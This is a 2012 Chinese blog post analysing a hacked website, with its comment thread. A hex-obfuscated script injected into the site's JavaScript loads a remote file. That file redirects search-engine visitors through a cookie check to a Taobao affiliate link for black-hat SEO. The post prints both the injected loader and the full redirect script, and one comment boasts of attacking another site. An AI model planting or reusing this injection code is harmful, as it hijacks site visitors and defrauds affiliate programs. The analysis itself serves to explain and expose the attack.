某年、某月、某日,某事、某刻、某分、某秒,某人、某站、某代码的分析……

起因如下,在某时某刻,某人发过来一站及一段代码,然后求分析……

目标地址:http://upangu.com/

目标代码:<script src="http://go.90psman.com/js.js"></script>

某人提出疑问:这段代码查看源代码是不存在的,但是在chrome的审查元素下能查到,为啥啊?

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

查看源文件,不存在该段代码

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

使用浏览器元素审查功能,则存在该代码

产生这种问题的原因其实很简单,这是执行页面内部 JavaScript 或外部 .js 脚本后动态输出、插入的代码,具有该功能的函数有:

document.write
document.writeln
tablerowObject.innerHTML
......

这是很简单的一个函数,应用很广,这里就不多说了……

那么,思路就很清晰了,我们只需要揪出来它藏在哪段脚本里即可……

经过一段时间排查(小窍门:由于 JavaScript 是从上到下依次执行的,所以重点排查目标代码之上的 JavaScript 及 Js 文件即可,当然,如果你时间多的话,全部检查一遍也无妨),在首页调用的一个 Js 中发现一段可疑代码:

首页调用的正常 Js 文件:

<script type="text/javascript" src="statics/script/tools.js"></script>

可疑代码(代码经过格式化):

var rs_cd = "3C736372697074207372633D2268747";
rs_cd += "4703A2F2F676F2E393070736D616E2E636";
rs_cd += "F6D2F6A732E6A73223E3C2F7363726970743E";
var rs_ct = "";
for (var i = 0; i < rs_cd.length; i += 2) {
    var rs_ch = parseInt(rs_cd.substring(i, i + 2), 16);
    rs_ct += String.fromCharCode(rs_ch);
}
document.writeln(rs_ct);

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

可疑代码

看似加密了,其实解密方法很简单:

<script>
var rs_cd = "3C736372697074207372633D2268747";
rs_cd += "4703A2F2F676F2E393070736D616E2E636";
rs_cd += "F6D2F6A732E6A73223E3C2F7363726970743E";
var rs_ct = "";
for (var i = 0; i < rs_cd.length; i += 2) {
    var rs_ch = parseInt(rs_cd.substring(i, i + 2), 16);
    rs_ct += String.fromCharCode(rs_ch);
}
alert(rs_ct);
</script>

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

还原后的代码为:

<script src="http://go.90psman.com/js.js"></script>

这个所谓的加密只是十六进制表示的字符串而已……

至此,分析结果已经很清晰了:

1、某人入侵了该站,至少有文件修改权限。

2、找到了首页调用的一个 Js,并在其不起眼的位置加了一段恶意 Js 代码。

代码分析完毕,我们再回过头来看看这段 Js 代码是干什么的吧……

首先下载:http://go.90psman.com/js.js

(吐槽:直接打开“go.90psman.com”,居然还伪装成 304 错误:Bad Request (Invalid Hostname))

从下载的数据包中得知,该文件最后修改时间为:

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

HTTP/1.1 200 OK
Date: Thu, 06 Sep 2012 06:36:46 GMT
Cache-Control: max-age=864000
Content-Length: 4740
Content-Type: application/x-javascript
Last-Modified: Fri, 17 Aug 2012 14:43:42 GMT
Accept-Ranges: bytes
ETag: "68c2b4b2867ccd1:13c2"
X-Powered-By: ASP.NET
Age: 2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

也就是北京时间:2012年8月17日(星期五)22时43分42秒,看来这段代码有一段时间没更新了……

扯远了,回过头来继续看 js.js 内容(代码经过格式化):

if ("undefined" == typeof(reObj)) {
    reObj = [];
    reObj.platF = navigator.platform.toString().toLowerCase();
    reObj.appVer = navigator.userAgent;
    reObj.refer = document.referrer;
    reObj.domain = document.domain;
    reObj.appVerStr = reObj.appVer.toLowerCase();
    reObj.win = window;
    reObj.yOs = function() {
        var osInfo = "";
        var fSys = new RegExp("(NT 5.2)|(NT 5.0)", "i");
        var fBrowser = new RegExp("(firefox)|(alexa)", "i");
        try {
            osInfo = reObj.appVer.match(/Windows NT \d.\d/i).toString().toLowerCase();
        } catch(e) {}
        if (fSys.test(osInfo) || fBrowser.test(reObj.appVer) || reObj.platF == "x11" || reObj.platF.indexOf("linux") > -1) return false;
        return true;
    };
    reObj.isIE678 = function() {
        var chkIEReg = new RegExp("(MSIE 8.0)|(MSIE 6.0)|(MSIE 7.0)", "i");
        if (chkIEReg.test(reObj.appVer)) return true;
        return false;
    };
    reObj.noPluginDev = function(notIeCore) {
        if (!notIeCore) return true;
        var regPlugin = new RegExp("(google)|(firefox)", "i");
        try {
            for (i = 0; i < navigator.plugins.length; i++) {
                if (regPlugin.test(navigator.plugins[i].name)) return false;
            }
        } catch(e) {}
        return true;
    };
    reObj.notIE = function() {
        if (window.ActiveXObject) return false;
        return true;
    };
    reObj.tRefer = function() {
        var goRefers = new RegExp("(www.baidu.c)|(image.baidu.c)|(www.google.c)|(www.soso.c)|(wenwen.soso.c)|(www.sogou.c)|(www.youdao.c)|(cn.bing.c)|(www.yahoo.c)", "i");
        if (goRefers.test(reObj.refer)) return true;
        return false;
    };
    reObj.getQuery = function(name, url) {
        var reg = new RegExp("(^|\\?|&)" + name + "=([^&]*)(\\s|&|$)", "i");
        if (reg.test(url)) return RegExp.$2.replace(/\+/g, " ");
        return "";
    };
    reObj.getReferHost = function() {
        if (reObj.refer) return reObj.refer.split("/")[2];
        return "";
    };
    reObj.getKwd = function() {
        var rf_domain = reObj.getReferHost();
        var qKwd = new RegExp("(www.youdao.c)|(www.google.c)|(www.yahoo.c)|(cn.bing.c)", "i");
        var key = "";
        if (rf_domain == "www.baidu.com" || rf_domain == "image.baidu.com") {
            key = reObj.getQuery("wd", reObj.refer);
            if (key == "") key = reObj.getQuery("word", reObj.refer);
            key = key + "//b";
        } else if (rf_domain == "www.soso.com" || rf_domain == "wenwen.soso.com") {
            key = reObj.getQuery("w", reObj.refer);
            key = key + "//s";
        } else if (rf_domain == "www.sogou.com") {
            key = reObj.getQuery("query", reObj.refer);
            key = key + "//g";
        } else if (qKwd.test(rf_domain)) {
            key = reObj.getQuery("q", reObj.refer);
            key = key + "//o";
        } else {
            key = "";
        }
        return key;
    };
    reObj.getBsKwd = function() {
        var rf_domain = reObj.getReferHost();
        var bsKwd = new RegExp("(www.baidu.c)|(www.soso.c)", "i");
        if (bsKwd.test(rf_domain)) return reObj.getQuery("bs", reObj.refer);
        return "";
    };
    reObj.normalKwd = function(KeyStr, bsKeyStr) {
        var notKwds = new RegExp("(site)|(link)|(domain)|(in)|(www)|(http)|(%22)", "i");
        var keyObj = new RegExp(KeyStr, "i");
        var bskeyObj = new RegExp(bsKeyStr, "i");
        if (KeyStr != "" && bsKeyStr != "") {
            if (notKwds.test(KeyStr + "" + bsKeyStr) || keyObj.test(reObj.domain) || bskeyObj.test(reObj.domain)) {
                return false;
            } else {
                return true;
            }
        } else if (KeyStr != "") {
            if (notKwds.test(KeyStr) || keyObj.test(reObj.domain)) {
                return false;
            } else {
                return true;
            }
        } else return false;
    };
    reObj.wdOpen = function(lochref, isParent) {
        if (isParent) {
            try {
                reObj.win.opener.location = lochref;
            } catch(e) {
                try {
                    reObj.win.opener.navigate(lochref);
                } catch(e2) {
                    try {
                        reObj.win.opener.opener.navigate(lochref);
                    } catch(e3) {}
                }
            }
        } else reObj.win.location.replace(lochref);
    };
    reObj.getcookie = function(sName) {
        var aCookie = document.cookie.split("; ");
        for (var i = 0; i < aCookie.length; i++) {
            var aCrumb = aCookie[i].split("=");
            if (sName == aCrumb[0]) return unescape(aCrumb[1])
        }
        return ""
    };
    reObj.getCkExpires = function(sName) {
        var aCookie = document.cookie.split("; ");
        for (var i = 0; i < aCookie.length; i++) {
            var aCrumb = aCookie[i].split("=");
            if (sName == aCrumb[0]) return unescape(aCrumb[1])
        }
        return ""
    };
    reObj.setcookie = function(sValue) {
        date = new Date();
        date.setDate(date.getDate() + 7);
        document.cookie = "W3LOOSEDTD=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/";
    };
    reObj.markGo = function() {
        if (reObj.getcookie("W3LOOSEDTD") == "") return true;
        return false;
    };
    if (reObj.yOs()) {
        var refKwd = reObj.getKwd();
        var whichS;
        if (refKwd == "") {
            whichS = "null";
        } else {
            whichS = refKwd.split("//")[1];
            refKwd = refKwd.split("//")[0];
        }
        var refBsKwd = reObj.getBsKwd();
        if (reObj.tRefer()) {
            if (reObj.normalKwd(refKwd, refBsKwd)) {
                if (reObj.markGo()) {
                    var notIeCore = reObj.notIE();
                    if (reObj.noPluginDev(notIeCore)) {
                        reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG");
                        var ggUrl = "http://compatible.googlecode.com/svn/branches/navigator.html?q=";
                        if (notIeCore) reObj.wdOpen(ggUrl + refKwd, notIeCore);
                        else if (reObj.isIE678()) reObj.wdOpen("http://chinacaidao.com/301.asp?s=" + whichS + "&b=" + encodeURIComponent(refBsKwd) + "&q=" + encodeURIComponent(refKwd), notIeCore);
                        else reObj.wdOpen(ggUrl + refKwd, notIeCore);
                    }
                }
            }
        }
    }
    reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG");
}

大略的看了一下代码,代码很简单,判断用户来路,如果符合条件则植入 Cookie + 跳转,简单地说,就是最近很流行的某种黑帽 SEO 方法。

方法就不介绍了,可以翻翻本站以前的文章,有详细讲过……

现在看看它跳转到哪里去了,我们来构造 Url 地址:

格式:

http://chinacaidao.com/301.asp?s=关键词&b=前一个关键词&q=关键词

(提示:以上关键词均提取自来路地址)

例子:

http://chinacaidao.com/301.asp?s=核总到此一游&b=核总再次一游&q=核总三顾茅庐

访问该地址后,302(Moved Temporarily)跳转到:

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案例

Url 地址:

http://s8.taobao.com/search?q=茅庐&commend=all&pid=mm_32507042_3273379_10698017

分析 Url,看到“pid”木有?呵呵,taobao + pid = ?,你懂、我懂、大家都懂……

它就是:狗血的淘宝客……(不知道什么是淘宝客的同学,可以自己去查查)

再看关键词“茅庐”,这和之前提交的关键词存在关联,提交之后,会自动跳转到淘宝搜索页面(淘宝客返利)……

(提示:如果直接访问 http://chinacaidao.com/301.asp 不提交任何关键词,那么会使用默认关键词“保健品”)

至此,这个个流程已经很清晰了,整个流程,都是地地道道的利用黑帽SEO做淘宝客,具体的不多说,这行大家都懂……

(PS:淘宝客做得好的话,利润还是相当高的,比黑产还疯狂……)

最后,对该“黑客”进行总体评价:

隐藏方法:★★★★★★★★☆☆

隐藏位置:★★★★★☆☆☆☆☆

加密方案:★★☆☆☆☆☆☆☆☆

编程功力:★★★★★★☆☆☆☆

盈利方案:★★★★★★★☆☆☆

总体评价:★★★★★★★☆☆☆

最后,从各个角度加以分析后,得出一个结论,该“黑客”为专业黑帽SEO,并非普通做关键词的小喽罗。

可惜,在更专业的黑客面前,一切都是浮云……

留言评论(旧系统):

核XX @ 2012-09-06 16:48:07

强大

本站回复:

╮(╯_╰)╭

【匿名者】 @ 2012-09-06 23:58:52

每天来,每天都有新发现,神一样的,核攻击大牛!!!!!!!!!!!

本站回复:

↖(^o^)↗

【匿名者】 @ 2012-09-07 01:20:51

请在这里填写留言内容,留言内容最长不超过 400 字。

本站回复:

[null]

M3 @ 2012-09-07 10:05:49

最后一句我可以理解为自夸么 - -

本站回复:

你当然可以这么理解,偶尔也需要自夸一下…… ↖(^_^)↗ Whatever how do you think~ ╮(╯_╰)╭

【匿名者】 @ 2012-09-08 12:09:04

可惜,在更专业的黑客面前,一切都是浮云……

本站回复:

都是浮云……

【匿名者】 @ 2012-09-08 14:55:35

可以看看www.smzdm.com,全是301跳转,应该很来钱。

本站回复:

有空了瞧瞧……

【匿名者】 @ 2012-09-09 02:20:22

核总可以分析下这站么.不是广告哦,(www.henhenlu.com)你看他玉米的创建时间.再看他权重.你比我更懂.他做的站基本开一段时间就换米.这孩子我追着日了下了他一个站.无奈死活提权不上.我觉得吗服务器上应该还有好东西,分析了下他源码没什么发现.9天就做到权重4.这不逆天了么?叫我们这些小菜怎么活?这才是真正的黑帽SEO啊.不要告诉我是虚拟外连哦!

本站回复:

留言此类“求分析”内容可以,但是,不会公开任何分析结果。

路人甲 @ 2012-09-16 20:25:55

http://www.0sec.in/%E5%85%B3%E4%BA%8E%E4%B8%80%E4%B8%AAshopex%E7%BD%91%E7%AB%99%E8%A2%AB%E6%8C%82%E9%A9%AC%E5%88%86%E6%9E%90.html 这儿有篇文章查不多。。。。

本站回复:

目测是同一人所为。

佚名 @ 2013-01-03 13:51:45

301.asp 源码是什么,楼主能写个不

本站回复:

源码很简单,这个还要问么? <% '……判断参数代码省略…… Response.Status = "301 Moved Permanently" Response.AddHeader "Location", "http://www.***.com/" Response.End %>

佚名 @ 2013-07-22 02:29:23

什么才叫专业啊。我想找个做关键字的

本站回复:

额……

佚名 @ 2013-07-26 09:43:33

鸡鸡摔鸡鸡。。 <Script src = "http://www.baidu.com/js/wokaonijingranyoubaidudewenjianxieruquanxian.js"></script>

本站回复:

<script>alert("你妹……")</script>

佚名 @ 2013-11-14 00:56:40

麻烦楼主把http://chinacaidao.com/301.asp里面的内容 写出来 谢了、

本站回复:

此文件只是做跳转用途(根据关键词判断),具体参考留言ID:2970。

佚名 @ 2015-03-21 02:33:24

Whatever how do you think 语法错误

本站回复:

寡人英语从未及格过…… -_-!!!